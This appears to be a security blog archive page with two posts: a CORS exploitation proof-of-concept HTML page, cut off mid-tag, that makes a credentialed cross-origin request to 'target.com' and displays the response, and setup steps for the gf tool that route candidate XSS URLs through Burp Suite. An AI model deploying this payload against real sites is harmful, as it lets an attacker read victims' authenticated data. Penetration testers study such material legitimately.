Posts

Showing posts from September, 2020

Exploiting CORS (Cross Origin Resource Sharing)

Image
Exploiting CORS (Cross Origin Resource Sharing) Exploit Code- <!DOCTYPE html> <html>    <head>       <script>          function cors() {             var xhttp = new XMLHttpRequest();                 xhttp.onreadystatechange = function() {                     if (this.readyState == 4 && this.status == 200) {                         document.getElementById("emo").innerHTML = alert(this.responseText);             }          };          xhttp.open("GET", " https://target.com/info/ ", true);          xhttp.withCredentials = true;          xhttp.send();          }       </script>    </head>    <body>       <center>       <h2>CORS PoC Exploit </h2>       <h3>created by <a href="https://neetech18.blogspot.com/">CORS Team</a></h3>       <h3>Show full content of page</h3>       <div id="demo">          <button type="button" o

gf Tool Installation

Image
 GF Tool Installation- https://github.com/tomnomnom/gf export PATH=$PATH:/usr/local/go/bin:/home/neetech/go/bin/ source /home/neetech/go/src/github.com/tomnomnom/gf/gf-completion.bash export GOPATH=/home/neetech/go/ . ~/.bashrc cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf From GF -->Sending Request to BurpSuite- sudo apt install parallel cat gf_xss.txt | parallel -j 10 curl --proxy "http://127.0.0.1:8080" -sk > /dev/null Done.